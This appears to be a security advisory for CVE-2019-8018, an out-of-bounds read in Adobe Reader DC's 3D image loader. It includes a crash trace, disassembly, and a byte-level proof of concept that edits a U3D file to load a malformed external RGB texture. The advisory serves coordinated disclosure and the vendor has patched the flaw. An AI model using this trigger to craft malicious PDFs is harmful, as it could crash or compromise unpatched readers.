CVE: CVE-2019-8018

Tested Versions:

  • Adobe Reader DC 2019.010.20099

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via 3difr.x3d, 2d.x3d and rt3d.dll, which allow viewing embedded 3D contents in PDF files. The ECMA-363 standard allows external texture images to be encoded with the Texture Resource Declaration Block, with options to load either JPEG/PNG images embedded in the PDF file, or other image types from the local file system. These external image formats include TGA, TIFF, PIC, GIF, BMP, PCX, PPM, IFF, FLI/FLC, RGB, PSD, RLE and CEL. The 2d.x3d module is activated when the users choose to enable 3D content display.

Vulnerabilities in this module do not affect a default installation, however, in certain industry sectors that have frequent exchange of 3D PDF files (e.g., CAD designs), 3D contents may be enabled as default, leaving users vulnerable to this attack vector.

an out-of-bounds read can be observed in the context of the sandboxed process as the logged on user.

# The debugging and analysis were done on an Adobe Reader DC 2019.010.20099.
# The stack trace at crash site:

(6a4.244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0056ac54 ebx=19a08fe6 ecx=00560505 edx=00000000 esi=0000001a edi=1505f000
eip=56b47bca esp=0056abf4 ebp=0056ac04 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
2d!png_set_filter_heuristics+0x4757:
56b47bca 8a2f            mov     ch,byte ptr [edi]          ds:0023:1505f000=??

0:000> kb
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0056ac04 56b47893 19a08f48 000000b8 1505efc0 2d!png_set_filter_heuristics+0x4757
01 0056ac44 56b47b51 25d31f90 207cefb0 22006e68 2d!png_set_filter_heuristics+0x4420
02 0056ae64 56b42a47 17c48fa8 22006e68 207cefb0 2d!png_set_filter_heuristics+0x46de
03 0056ae78 56d977f6 00000006 17c48fa8 22006e68 2d!E3DLLFunc+0xb74
04 0056ae98 56d5ae58 25d31f90 00000006 17c48fa8 rt3d!FILETYPE::Func2d+0x5e
05 0056b320 56d593ee 29c795a8 0056b7d8 00000000 rt3d!PrepareRescale+0xac8
06 0056b358 56d8c859 29c795a8 0056b7d8 00000000 rt3d!GetPicture+0x2e
07 0056b594 56d8d566 29c795a8 0056b7d8 00000000 rt3d!EndPicturesCache+0x5352
08 0056ba04 56d8ca9b 29c794e8 29c795a8 0056c04c rt3d!EndPicturesCache+0x605f
09 0056c258 56d8cd56 29c794e8 00000000 207cefb0 rt3d!EndPicturesCache+0x5594
0a 0056c4b8 56d3fda5 214b6cb0 207cefb0 00000000 rt3d!EndPicturesCache+0x584f
0b 0056c4d8 56cc77ea 00000002 207cefb0 b4d37e0e rt3d!e3_SCENE::MovePDVToCameraNode+0xfcd
0c 0056c958 56c93ebd 00000000 207eefc8 00000000 rt3d!V4CUnloadRT+0x30b97
0d 0056c970 5db006df 207eefc8 00000000 0056c9c4 rt3d+0x3ebd

# The out-of-bounds read in TRGB::expandrow()
.text:10007868             cmp     byte ptr [ebx+0Fh], 2
.text:1000786C             mov     esi, [ebp+var_10]
.text:1000786F             jnz     short loc_10007886	; taken
.text:10007871             mov     eax, [ebp+var_14]
.text:10007874             cdq
.text:10007875             sub     eax, edx
.text:10007877             sar     eax, 1
.text:10007879             push    eax
.text:1000787A             push    esi
.text:1000787B             push    edi
.text:1000787C             push    ecx
.text:1000787D             mov     ecx, ebx
.text:1000787F             call    _ZN4TRGB9expandrowEPhPt ; TRGB::expandrow(uchar *,ushort *)
.text:10007884             jmp     short loc_10007893
.text:10007886 ; ---------------------------------------------------------------------------
.text:10007886
.text:10007886 loc_10007886:                           ; CODE XREF: TRGB::Read(void)+1BB
.text:10007886             push    [ebp+var_14]
.text:10007889             push    esi
.text:1000788A             push    edi
.text:1000788B             push    ecx
.text:1000788C             mov     ecx, ebx
.text:1000788E             call    _ZN4TRGB9expandrowEPhS0_ ; TRGB::expandrow(uchar *,uchar *)

; Note that the OOBR happens in the 2nd expandrow() with two uchar* arguments:

.text:10007B78 ; TRGB::expandrow(unsigned char *, unsigned char *)
.text:10007B78 _ZN4TRGB9expandrowEPhS0_ proc near      ; CODE XREF: TRGB::Read(void)+1DA
<...>
.text:10007BCA loc_10007BCA:                           ; CODE XREF: sub_10007B78+2F
.text:10007BCA             mov     ch, [edi]           ; OOBR
.text:10007BCC             inc     edi
.text:10007BCD             sub     edx, [eax+8]
.text:10007BD0
.text:10007BD0 loc_10007BD0:                           ; CODE XREF: sub_10007B78+68
.text:10007BD0             dec     cl
.text:10007BD2             test    esi, esi
.text:10007BD4             jle     short loc_10007BE2
.text:10007BD6             mov     [ebx], ch
.text:10007BD8             add     ebx, [eax+8]
.text:10007BDB             sub     esi, [eax+8]
.text:10007BDE             test    cl, cl
.text:10007BE0             jnz     short loc_10007BD0

; With PageHeap on, the crash is OOBR at .text:10007BCA. 

# The callstack near crash site is resolved as:
#0 TRGB::expandrow(unsigned char *, unsigned char *)
#1 TRGB::Read(void)
#2 _LoadRGB(e3_STREAM *, e3_PICTURE *, e3_CONTEXT *)
#3 RGBImport(unsigned int, e3_STREAM *, e3_PICTURE *, e3_interface *)
#4 ...

A dedicated harness is constructed to fuzz and trigger the issue in this report.

Proof of Concept

To load external image with shading_M.u3d:

000002f0: 28 7c 3f 00 00 00 00 00 14 ff ff ff 3c 00 00 00  (|?.........<...
00000300: 00 00 00 00 05 00 6c 69 6e 65 73 02 00 00 00 00  ......lines.....
00000310: 00 00 00 00 01 00 00 00 55 ff ff ff 1c 00 00 00  ........U.......
00000320: 00 00 00 00 05 00 6c 69 6e 65 73 00 01 00 00 00  ......lines.....
00000330: 01 00 00 0e 01 00 00 00 01 0e 00 00 52 dc 00 00  ............R...

The following modifications need to be made to the above block:

# Modify the containing Modifier Chain Block (0xFFFFFF14) length:
; shading_M.u3d: change data size field to 0x54 from 0x3C

# Texture Resource Declaration Block (0xFFFFFF55):
; shading_M.u3d: change data size field to 0x34 from 0x1A

# 2d.x3d Image Loading construction from shading_M.u3d
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height
; 00 01 00 00                // U32: Texture Width
; 0e                         // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00                // U32: Continuationi Image Count
;                            // Now the Continuation Image Format record
; 01                         //    U8: Compression Type 0x01 JPEG-24
; 0e                         //    U8: Texture Image Channels
; 00 00                      //    U16: Continuation Image Attributes: default
; 52 dc 00 00                //    U32: Image Data Byte Count

# Modify to the following:
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height 
; 00 01 00 00                // U32: Texture Width 
; 0e                         // U8: Texture Image Type: 0x0E color RGB 
; 01 00 00 00                // U32: Continuationi Image Count 
;                            // Now the Continuation Image Format record:
; 02                         //    U8: Compression Type 0x02 PNG
; 0e                         //    U8: Texture Image Channels
; 01 00                      //    U16: Continuation Image Attributes: external
; 01 00 00 00                //    U32: Image URL Count 1
;                            //    0x16 bytes string "httpAAAAAAAsynAA12.pic"
; 16 00 68 74 74 70 41 41 41 41 41 41 41 73 79 6e 41 41 31 32 2e 70 69 63

Timeline:

  • 2019-05-06 Vendor disclosure
  • 2019-08-13 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-41.